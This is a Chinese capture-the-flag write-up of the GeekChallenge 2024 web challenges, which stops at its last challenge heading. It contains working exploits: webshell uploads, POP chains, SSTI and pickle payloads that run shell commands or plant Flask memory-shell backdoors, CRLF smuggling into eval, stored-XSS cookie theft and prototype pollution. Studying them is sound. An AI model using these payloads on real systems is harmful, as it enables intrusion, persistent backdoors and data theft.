2024-极客大挑战


web

⚪神启动

翻翻源码,看到可疑base64编码,解码就是flag

image-20250617152737907

baby_upload

上传文件发现user.ini,.htaccess,php被过滤了

解法一:上传shell文件,文件名是1.jpg.php可以。

(发现没被过滤且是被后端当作php,上传1.php.jpg被当作jpg,猜测后端检测php仅仅是检测.php/i)

解法二:CVE-2017-15715

随便访问一个不存在的路由,发现服务器版本,直接查这个版本的cve,发现CVE-2017-15715

image-20250618193119131 image-20250618193032421

Apache HTTPD 换行解析漏洞分析与复现(CVE-2017-15715) - FreeBuf网络安全行业门户跟着文章做就行。

记住一定要php后插入一个字节然后改为%0a,而不能直接在php后敲回车

1
原因:在POST请求中,数据是作为请求体直接发送的,服务器不会对POST请求体进行URL解码(GET会),如果直接使用%0a,服务器会将其视为普通字符串%0a,而不是换行,通过十六进制编码(0x0a)可以确保在传输过程中保持换行符的特性
image-20250618200802141 image-20250618200817780

蚁剑连接要%0a

image-20250618201046804

ezpop

死亡杂糅绕过+变量名过滤-16进制绕过

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
Class SYC{
    public $starven='php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess';
    /*php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag
    #/resource=.htaccess*/#这个payload要换行
    public function __call($name, $arguments){
        if(preg_match('/%|iconv|UCS|UTF|rot|quoted|base|zlib|zip|read/i',$this->starven)){
            die('no hack');
        }
        file_put_contents($this->starven,"<?php exit();".$this->starven);
    }
}

Class lover{
    public $J1rry="data://text/plain,Welcome GeekChallenge 2024";#要构造伪协议
    public $meimeng;
    public function __destruct(){
        if(isset($this->J1rry)&&file_get_contents($this->J1rry)=='Welcome GeekChallenge 2024'){
            echo "success";
            $this->meimeng->source;
        }
    }

    public function __invoke()
    {
        echo $this->meimeng;
    }

}

Class Geek{
    public $GSBP;
    public function __get($name){
        $Challenge = $this->GSBP;
        return $Challenge();
    }

    public function __toString(){
        $this->GSBP->Getflag();
        return "Just do it";
    }

}

$a=new lover();
$a->meimeng=new Geek();
$a->meimeng->GSBP=new lover();
$a->meimeng->GSBP->meimeng=new Geek();
$a->meimeng->GSBP->meimeng->GSBP=new SYC();



$ser =serialize($a);
$b=str_replace("s:7:\"meimeng\";","S:7:\"\\6deimeng\";",$ser);
echo $b;
echo "\n" . urlencode($b);

wp说可以二次编码绕过?我试了试不行,这里都过滤了%。感觉只能用 .htaccess包含

客大挑战2024-web-wp(详细)_极客大挑战2024wp-CSDN博客

ヾ(Ő∀Ő3)嘿嘿

file_put_content和死亡·杂糅代码之缘-先知社区

_wmctf2020]web check in 2.0-CSDN博客

1
2
3
这个变量名过滤的绕过解释一下:
在 PHP 的序列化字符串中,如果字符串包含 非 ASCII 字符 或 转义字符,PHP 会使用 S 标记来表示这是一个 二进制安全的字符串。
在 S:7:"\6deimeng"; 中,大写 S 的出现是因为字符串中包含了转义字符 \6d。PHP 的序列化机制会自动将包含转义字符或非 ASCII 字符的字符串标记为二进制安全字符串,因此使用 S 而不是 s。

然后接着解释这个payload为什么行

1
php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess
1
2
3
4
5
	当打入这个payload时,就会有`<?php exit();php://filter/write=string.strip_tags/?>php_value auto_prepend_file /flag</resource=.htaccess`写入到.htaccess,由于这个第一个$this->starven(其实就是payload)有strip_tags,会除去php与html标签,所以<? ...?>的全部除去,</resource=.htaccess被识别为html标签也同样除去,所以就`php_value auto_prepend_file /flag`写到了.htaccess
	
	有人可能疑问,为什么第一个$this->starven(payload)不像一个正常的伪协议语句,也发挥了伪协议作用,这是因为路径解析的宽容性:在 php://filter/ 和 /resource= 之间插入一些“非标准”的字符串(比如payload),并不会让整个解析过程失败。PHP会尝试执行它认识的过滤器,并忽略它不认识的部分。
	
	那为什么另一种payload这个#前需要换行,因为不换行遇到#,就会认为“路径到此结束,后面的内容(包括 /resource=.htaccess)就失效了,意味这第一个$this->starven中找不到/resource=.htaccess这个指令,就不知道要把东西写到哪里去。这会导致file_put_contents写入文件失败。而在第二个$this->starven中,其与死亡代码写入.htaccess中,但是当Apache来读取这个.htaccess文件时,它看到#,就会认为“从#开始,这一行的后面所有内容都是注释,全部忽略结果是auto_prepend_file /flag 这个关键的配置指令因为后面紧跟着#,被Apache当作注释或无效配置给忽略掉了。

rce_me

php5.1的intval比较漏洞+preg_match与stripos遇见数组返回false

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?php
header("Content-type:text/html;charset=utf-8");
highlight_file(__FILE__);
error_reporting(0);

# Can you RCE me?


if (!is_array($_POST["start"])) {
    if (!preg_match("/start.*now/is", $_POST["start"])) {#以“start”开头,后面跟着任意数量的任意字符(包括0个),再跟着“now”
        if (strpos($_POST["start"], "start now") === false) {
            die("Well, you haven't started.<br>");
        }
    }
}

echo "Welcome to GeekChallenge2024!<br>";

if (
    sha1((string) $_POST["__2024.geekchallenge.ctf"]) == md5("Geekchallenge2024_bmKtL") &&
    (string) $_POST["__2024.geekchallenge.ctf"] != "Geekchallenge2024_bmKtL" &&
    is_numeric(intval($_POST["__2024.geekchallenge.ctf"]))
) {
    echo "You took the first step!<br>";

    foreach ($_GET as $key => $value) {
        $$key = $value;
    }

    if (intval($year) < 2024 && intval($year + 1) > 2025) {
        echo "Well, I know the year is 2024<br>";
        
        #PHP 5.1 及更早:intval("2023e2") 结果是 2023(只取前面的数字,遇到非数字停止)),PHP 5.2 及以后:intval("2023e2") 结果是 202300(直接把字符串当作科学计数法整体转成数字))
        

        if (preg_match("/.+?rce/ism", $purpose)) {#preg_match遇数组返回false
            die("nonono");
        }

        if (stripos($purpose, "rce") === false) {#stripos遇数组为null!=false,所以数组绕过就行
            die("nonononono");
        }
        echo "Get the flag now!<br>";
        eval($GLOBALS['code']);
        
        

        
    } else {
        echo "It is not enough to stop you!<br>";
    }
} else {
    echo "It is so easy, do you know sha1 and md5?<br>";
}
?>
1
2
get:year=2023e2&purpose[]=rce&code=system('cat /flag');
start=start now&_[2024.geekchallenge.ctf=10932435112

PHP—MD5和sha1绕过_php字符串弱不等,sha1强相等-CSDN博客

Problem_On_My_Web

存储型XSS

这里测试一下发现xxs,转到vps,发现没有啥东西

image-20250620195142054

manager页面提示If you could tell me where my website has a problem,i would give you a gift in my cookies!!! [Post url=],一开始改请求头发现无效,后面发现post参数url没用,那就post传url=http://127.0.0.1(直接传127.0.0.1不行),发现vps有带flag的cookie

image-20250620195115707

直接打下面的payload也行,

1
<script>alert(document.cookie)</script>

然后一样的传参访问(发包2次,第一次触发xss,在form页面有弹窗,再来一次由于弹窗未关,抛出异常,就有flag)

image-20250620195634446

1
Selenium 自动化浏览器在执行脚本时,页面弹出了一个alert弹窗,内容就是 flag。由于弹窗没有被关闭,Selenium 无法继续后续操作(比如加 cookie、跳转页面等),所以抛出了UnexpectedAlertPresentException异常。

显然是一个存储型xss,在form页面打xss,然后在manager页面url传参http://127.0.0.1后就会有带flag的cookie的bot触发我们的xss。

ez_include

require_once软连接绕过+pearcmd包含

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

<?php
highlight_file(__FILE__);
require_once 'starven_secret.php';
if(isset($_GET['file'])) {
    if(preg_match('/starven_secret.php/i', $_GET['file'])) {
        require_once $_GET['file'];
    }else{
        echo "还想非预期?";
    }
}
1
?file=php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/starven_secret.php
1
require_once 语句和require语句完全相同,唯一区别是PHP 会检查该文件是否已经被包含过,如果是则不会再次包含。require_once()为了避免重复加载文件.

这一搜就出

php源码分析 require_once 绕过不能重复包含文件的限制-安全KER - 安全资讯平台

WMCTF2020]Make PHP Great Again-CSDN博客

然后解码得到

1
2
3
<?php
$secret = "congratulation! you can goto /levelllll2.php to capture the flag!";
?>

来到levelllll2.php发现register_argc_argv = On,那显然是打pearcmd包含了,waf没啥用(防了一下install打法,过滤了download)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<?php
error_reporting(0);
highlight_file(__FILE__);
if (isset($_GET ["syc"])){
    $file = $_GET ["syc"];
    $hint = "register_argc_argv = On";
    if (preg_match("/config|create|filter|download|phar|log|sess|-c|-d|%|data/i", $file)) {
        die("hint都给的这么明显了还不会做?");
    }
    if(substr($_SERVER['REQUEST_URI'], -4) === '.php'){
        include $file;
    }
}
1
levelllll2.php?+config-create+/&syc=/usr/local/lib/php/pearcmd.php&/<?=@eval($_POST[0]);?>+/tmp/cmd.php

注意,我们正常抓包的时候<>和单引号会被url编码。记得解码,不然没有了php语法边界,写入的一句话木马就不会被当做php代码来执行。

image-20250621204121833
1
shell在:/levelllll2.php?syc=/tmp/cmd.php

最后flag在/proc/self/environ里面,找我半天

image-20250621203903367

题目比较传统

利用pearcmd.php文件包含拿shell(LFI) | XiLitter

ez_http

image-20250622011125650

一直八股文,没什么好说的,然后这个jwt伪造就是将"hasFlag":改True就行,但是我一开始token前面多了一个等于号,然后就不行,所以我还以为是要时间戳对上,跑一下代码…….没事,以后要是时间戳也要对上可以用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import requests
import time
import jwt
import datetime

# 1. 定义目标URL和URL参数
# URL参数会由requests自动拼接到URL后面
url = "http://80-d9421c06-b813-4f3d-8e2d-5adbc6a72a2b.challenge.ctfplus.cn/"
params = {
    'reloadCount': '1',
    'welcome': 'geekchallenge2024'
}

# 2. 定义固定的HTTP请求头部分
base_headers = {
    'Host': '80-d9421c06-b813-4f3d-8e2d-5adbc6a72a2b.challenge.ctfplus.cn',
    'Cache-Control': 'no-cache',
    'Origin': 'http://80-d9421c06-b813-4f3d-8e2d-5adbc6a72a2b.challenge.ctfplus.cn',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36 Edg/137.0.0.0',
    'Pragma': 'no-cache',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Upgrade-Insecure-Requests': '1',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': 'https://www.sycsec.com',
    'Accept-Language': 'zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6',
    'STARVEN': 'I_Want_Flag',
    # 伪造IP相关的头
    'X-Forwarded-For': '127.0.0.1',
    'Client-ip': '127.0.0.1',
    'X-Client-IP': '127.0.0.1',
    'X-Remote-IP': '127.0.0.1',
    'X-Rriginating-IP': '127.0.0.1',
    'X-Remote-addr': '127.0.0.1',
    'HTTP_CLIENT_IP': '127.0.0.1',
    'X-Real-IP': '127.0.0.1',
    'X-Originating-IP': '127.0.0.1',
    'via': '127.0.0.1',
}

# 3. 定义POST的表单数据
data = {
    'username': 'Starven',
    'password': 'qwert123456'
}

# JWT 生成所需的密钥
secret = 'Starven_secret_key'

# 4. 持续发送POST请求,直到找到flag
print("开始持续发送请求,每次都生成新的JWT Token...")
while True:
    try:
        # --- 在循环内动态生成JWT Token ---
        now = datetime.datetime.now(datetime.timezone.utc)
        payload = {
            "iss": "Starven",
            "aud": "Ctfer",
            "iat": now,
            "nbf": now,
            "exp": now + datetime.timedelta(hours=2), # Token有效期2小时
            "username": "Starven",
            "password": "qwert123456",
            "hasFlag": True
        }
        jwt_token = jwt.encode(payload, secret, algorithm='HS256')
        print(f"新生成的Token: {jwt_token}")
        
        # --- 动态构建本次请求的headers ---
        headers = base_headers.copy() # 复制基础headers
        # 更新Cookie,将新生成的token放进去
        headers['Cookie'] = f'_ga=GA1.1.38075771.1742201486; _clck=12qn8ih%7C2%7Cfwy%7C0%7C1902; token={jwt_token}'

        # --- 发送请求 ---
        response = requests.post(url, headers=headers, params=params, data=data)

        # 检查响应体中是否包含 "SYC"
        if "SYC" in response.text:

            print(response.text)
            break  # 找到flag,退出循环
        else:
            # 简短提示,表示仍在尝试
            print(f"Status: {response.status_code} - 未找到 'SYC',继续尝试...")

        # 等待1秒再发送下一次请求
        time.sleep(1)

    except requests.exceptions.RequestException as e:
        print(f"发生网络错误: {e}, 5秒后重试...")
        time.sleep(5)
    except Exception as e:
        print(f"发生未知错误: {e}")
        break

Can_you_Pass_Me

过滤[,request,用attr打

这题主要使过滤了[与request,显得有点棘手,只能用attr来构造

image-20250622104143149

经过简单的fuzz然后将黑名单替换,然后fenjing跑,但是发现还有些字符没fuzz到,手动加

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
from fenjing import exec_cmd_payload

import logging

logging.basicConfig(level = logging.INFO)

def waf(s: str):
    blacklist = [
        '[','{{', '+', '/', '%2B', '%2b', 'read()', 'os', 'popen', 'config',
        'get_flashed_messages', 'self', 'request', '__getitem__()', '__class__',
        '__base__', '__bases__', '__subclasses__()', '__builtins__', '__init__',
        '__globals__', '__getattribute__()', 'current_app', 'cycler', 'flag','get','builtins','globals','__','set','add','read'
    ]
    for word in blacklist:
        if word in s:
            return False
    return True

payload, _ = exec_cmd_payload(waf, "ls /")

print(payload)

fenjing一下跑出来

1
2
3
{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('_'~'_'~'b''uiltins'~'_'~'_')|attr('g''et')('_''_import_''_')('o''s')|attr('p''open')("\x6c\x73\x20\x2f")|attr('r''ead')()%}
#简单改了一下,不用编码
{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('_'~'_'~'b''uiltins'~'_'~'_')|attr('g''et')('_''_import_''_')('o''s')|attr('p''open')('ls '~'%c'%(47)~'')|attr('r''ead')()%}

然后就是这里flag不会显示出来,可以读下源码(app.py)发现

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
import os
from flask import Flask, render_template, request, render_template_string

# 初始化 Flask 应用
app = Flask(__name__, static_folder='static')

blackList = [
    '/', '+', ':', '[', 'add', 'after_request', 'base', 'class',
    'config', 'current_app', 'cycler', 'flag', 'get', '__globals__',
    '__init__', '__loader__', '_request_ctx_stack', '_update', 'os',
    'popen', 'read', 'request', 'session', 'self', 'set', '{{'
]

def sanitize_inventory_sold(value: str) -> str:

    sanitized_value = str(value).lower()
    print(f"Sanitizing input: {sanitized_value}")  # 打印正在检查的输入

    for term in blackList:
        if term in sanitized_value:
            print(f"WAF triggered by term: '{term}'")  # 打印触发WAF的关键字
            return render_template('waf.html')
            
    return sanitized_value

@app.route('/')
def index():
    """
    主页路由,显示 index.html。
    """
    return render_template('index.html')

@app.route('/submit', methods=['GET', 'POST'])
def submit():

    if request.method == 'GET':
        return render_template('index.html')
    
    # 处理POST请求
    name = request.form.get("name", "")  # 获取表单中的 "name" 字段
    template = sanitize_inventory_sold(name) # 对输入进行WAF检查

    # 检查WAF是否返回了模板(意味着输入被拦截)
    if 'waf.html' in str(template):
        return template

    # WAF通过,执行模板渲染
    try:
        res = render_template_string(template)
    except Exception as e:
        # 捕获模板渲染时可能发生的错误
        print(f"Template rendering error: {e}")
        return f"Template Error: {e}"

    # 最终的flag内容泄露检测
    try:
        flag_content = str(open("/flag").read())
        if flag_content in res:
            return "好像不能这样出现在这里" # 如果渲染结果包含flag,则拦截
    except FileNotFoundError:
        print("Warning: /flag file not found.")
        # 在没有/flag文件的环境中,让应用可以正常运行
        pass
        
    return f"welcome to SycLover 2024 {res}"

if __name__ == '__main__':
    # 启动Flask应用
    # debug=False 在生产环境中是推荐的
    app.run(debug=False, host='0.0.0.0', port=80)

所以就将结果base64编码即可(过滤直接引号绕过了)

1
2
3
{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('_'~'_'~'b''uiltins'~'_'~'_')|attr('g''et')('_''_import_''_')('o''s')|attr('p''open')("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x20\x7c\x20\x62\x61\x73\x65\x36\x34")|attr('r''ead')()%}

{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('_'~'_'~'b''uiltins'~'_'~'_')|attr('g''et')('_''_import_''_')('o''s')|attr('p''open')('cat '~'%c'%(47)~'fla''g |bas''e64')|attr('r''ead')()%}

赛后复盘了一下,因为我喜欢用

1
{{lipsum.__globals__.os.popen('ls /').read}}

所以我们就根据这个来改造,得到

1
2
3
4
{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('o''s')|attr('p''open')("\x6c\x73\x20\x2f")|attr('r''ead')()%}

{%print lipsum|attr('_'~'_'~'g''lobals'~'_'~'_')|attr('g''et')('o''s')|attr('p''open')("\x63\x61\x74\x20\x2f\x66\x6c\x61\x67\x20\x7c\x20\x62\x61\x73\x65\x36\x34")|attr('r''ead')()%}
#cat /flag | base64

完美!!!

ez_SSRF

SoapClient之http走私

主要看浅入深出谭谈 HTTP 响应拆分(CRLF Injection)攻击(上)-先知社区

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
if(!isset($_POST['user'])){
    $user="stranger";
}else{
    $user=$_POST['user'];
}

if (isset($_GET['location'])) {
    $location=$_GET['location'];
    $client=new SoapClient(null,array(
        "location"=>$location,
        "uri"=>"hahaha",
        "login"=>"guest",
        "password"=>"gueeeeest!!!!",
        "user_agent"=>$user."'s Chrome"));

    $client->calculator();

    echo file_get_contents("result");
}else{
    echo "Please give me a location";
}
expression=`ls /`
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";

function check($auth) {
    global $admin,$adminpass;
    $auth = str_replace('Basic ', '', $auth);
    $auth = base64_decode($auth);
    list($username, $password) = explode(':', $auth);
    echo $username."<br>".$password;
    if($username===$admin && $password===$adminpass) {
        return 1;
    }else{
        return 2;
    }
}
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){
    exit("Hacker");
}
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){
    if (check($auth)===2) {
        if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) {
            die("Invalid expression");
        }else{
            $result=eval("return $expression;");
            file_put_contents("result",$result);
        }
    }else{
        $result=eval("return $expression;");
        file_put_contents("result",$result);
    }
}else{
    exit("Hacker");
}

分析源码,发现在SoapClient中user可以进行http走私,这里location 决定了 SoapClient 发送请求的目标地址,很明显这里是发到calculator.php。那user怎么走私?看文章的代码我们也来简单构造一下,代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php
$a = new SoapClient(null,array('location'=>'http://101.200.39.193:4000/aaa', 'uri'=>'127.0.0.1',
'user_agent' => "\r\nAUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 17\r\n\r\nexpression=`ls /`", ));

//看代码,要加一个AUTHORIZATION头,内容是用户名密码的base编码,然后就是Content-Type与Length覆盖原本的Type与Length,然后再两个\r\n\r\n就可以进行post传参rce了


$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

image-20250624002047998

非常好。

那就打payload,

1
2
3
4
注意:
\r\n(回车与换行)要url编码为%0d%0a。
然后就是这命令是在本地打的命令,所以$_SERVER['REMOTE_ADDR']=="127.0.0.1"(即请求来源IP是127.0.0.1。
然后就是Content-Length要等于body长度。
1
/h4d333333.php?location=http://127.0.0.1/calculator.php
1
user=%0d%0aAUTHORIZATION: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aContent-Length: 22%0d%0a%0d%0aexpression=`cat /flag`

image-20250624003037736

最后访问result就行。

[CRLF Injection漏洞的利用与实例分析 - phith0n](https://wooyun.js.org/drops/CRLF Injection漏洞的利用与实例分析.html)

SecretInDrivingSchool

f12发现登入页面,然后爆破得到密码SYC@chengxing(这里没说字母是大写还是小写,那就先爆小写再爆大写,一般不可能大小写混合一起爆)

然后就是简单的绕过waf进行命令执行了

image-20250624143511207 image-20250624143521125

为什么这个命令回显在首页??首先这个代码里面的内容是不是和首页的有点像???说明这个php可能包含在首页,我们可以写一个马进去看看

1
assert($_REQUEST[1])	
image-20250624144406225

image-20250624144457006

看看index.php发现果然是这样,我们的马就在这ad.php里面

image-20250624144433113

ez_python

考点:pickle反序列化+内存马

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import os
import secrets
from flask import Flask, request, render_template_string, make_response, render_template, send_file
import pickle
import base64
import black

app = Flask(__name__)

#To Ctfer:给你源码只是给你漏洞点的hint,怎么绕?black.py黑盒,唉无意义
@app.route('/')
def index():
    return render_template_string(open('templates/index.html').read())

@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        usname = request.form['username']
        passwd = request.form['password']

        if usname and passwd:
            heart_cookie = secrets.token_hex(32)
            response = make_response(f"Registered successfully with username: {usname} <br> Now you can go to /login to heal starven's heart")
            response.set_cookie('heart', heart_cookie)
            return response

    return  render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    heart_cookie = request.cookies.get('heart')
    if not heart_cookie:
        return render_template('warning.html')

    if request.method == 'POST' and request.cookies.get('heart') == heart_cookie:
        statement = request.form['statement']

        try:
            heal_state = base64.b64decode(statement)
            print(heal_state)
            for i in black.blacklist:
                if i in heal_state:
                    return render_template('waf.html')
            pickle.loads(heal_state)
            res = make_response(f"Congratulations! You accomplished the first step of healing Starven's broken heart!")
            flag = os.getenv("GEEK_FLAG") or os.system("cat /flag")
            os.system("echo " + flag + " > /flag")
            return res
        except Exception as e:
            print( e)
            pass
            return "Error!!!! give you hint: maybe you can view /starven_s3cret"

    return render_template('login.html')

@app.route('/monologue',methods=['GET','POST'])
def joker():
    return render_template('joker.html')

@app.route('/starven_s3cret', methods=['GET', 'POST'])
def secret():
    return send_file(__file__,as_attachment=True)


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

这题一看就是打pickle反序列化,但是这个题试了试不能出网,然后普通rce也行不通(没办法回显结果),那就只能打内存马了。直接搜flask内存马,顺便了解一下原理

[Python 内存马分析-先知社区](https://xz.aliyun.com/news/10381

1
简单来说,Flask内存马的原理:利用SSTI或反序列化等漏洞,动态向Flask应用注册恶意路由,使攻击者可远程执行任意命令,达到持久化控制的效果。
1
url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})
1
2
3
4
5
6
7
8
9
import pickle
import base64

class A():
   def __reduce__(self):
    return (exec, ('url_for.__globals__[\'__builtins__\'][\'eval\']("app.add_url_rule(\'/shell\', \'shell\', lambda :__import__(\'os\').popen(_request_ctx_stack.top.request.args.get(\'cmd\', \'whoami\')).read())", {\'_request_ctx_stack\':url_for.__globals__[\'_request_ctx_stack\'],\'app\':url_for.__globals__[\'current_app\']})',))
a = A()
b = pickle.dumps(a)
print(base64.b64encode(b).decode())

打完发现不行,被waf了,猜测是add_url_rule不行,那就打新版内存马

这里插播一句:Flask 2.2.0 版本开始有动态添加路由的限制即一旦收到第一个 HTTP 请求(即 app._got_first_request = True),将禁止在运行时调用 add_url_rule()route() 添加新路由。所以这时候就用构造函数

1.打新版flask内存马-利用error_handler_spec钩子函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import pickle
import base64
import  os


class A(object):
    def  __reduce__(self):
        return (exec, ("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()",))


a = A()
b = pickle.dumps(a)
print(b)
print(base64.b64encode(b).decode())

2.打before_request钩子函数

看了官方的wp知道它这个没禁到

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__(\"sys\").modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",))

a = A()
b = pickle.dumps(a)
print(b)
print(base64.b64encode(b).decode())

3.after_request钩子函数

这里禁用了after_request钩子函数,但是这里还是记录一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
import os
import pickle
import base64
class A():
    def __reduce__(self):
        return (eval,("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd3\')).read())\")==None else resp)",))

a = A()
b = pickle.dumps(a)
print(b)
print(base64.b64encode(b).decode())

4.简单记录下新版的flask打ssti内存马

1
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
1
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}
1
{{url_for.__globals__['__builtins__']['eval']("exec(\"global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()\")",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}}

参考文章Flask内存马 | 雲流のLowest World

总计:此题预期解是打error_handler_spec钩子函数,但是通过此题还是学到了不少东西,将flask内存马的打法基本了解了一遍,一般都是ssti+内存马,这里pickle+内存马,也是学到一手

ez_js

js污染链+http同名参数转换为数组绕过逗号

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
const { merge } = require('./utils/common.js'); 

        function handleLogin(req, res) {
        var geeker = new function() {
            this.geekerData = new function() {
                this.username = req.body.username;
                this.password = req.body.password;
            };
        };
    
        merge(geeker, req.body);
    
        if(geeker.geekerData.username == 'Starven' && geeker.geekerData.password == '123456'){
            if(geeker.hasFlag){
                const filePath = path.join(__dirname, 'static', 'direct.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            }else{
                const filePath = path.join(__dirname, 'static', 'error.html');
                res.sendFile(filePath, (err) => {
                    if (err) {
                        console.error(err);
                        res.status(err.status).end();
                    }
                });
            } 
        }else{
            const filePath = path.join(__dirname, 'static', 'error2.html'); 
            res.sendFile(filePath, (err) => {
                if (err) {
                    console.error(err);
                    res.status(err.status).end(); 
                }
            });
        }
    }</h1>

    <h1>function merge(object1, object2) {
        for (let key in object2) {
            if (key in object2 && key in object1) {
                merge(object1[key], object2[key]);
            } else {
                object1[key] = object2[key];
            }
        }
    }
    
    module.exports = { merge };

发现源码直接打就行

1
{"username":"Starven","password":"123456","__proto__":{"hasFlag":true}}

image-20250703112737983

req.query对同名参数解析为数组,同一参数名解析数组后会被逗号分隔,然后经过 JSON.parse解析转换为对象

1
2
3
4
5
6
7
syc={"username":"Starven"&syc="password":"123456"&syc="hasFlag":true}

#经过解析转换为  req.query.syc = [
    '{"username":"Starven"}',
    '{"password":"123456"}',
    '{"hasFlag":true}'
  ]

image-20250703122029826

PHP不比Java差

考点:利用ReflectionFunction反射调用system来rce

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
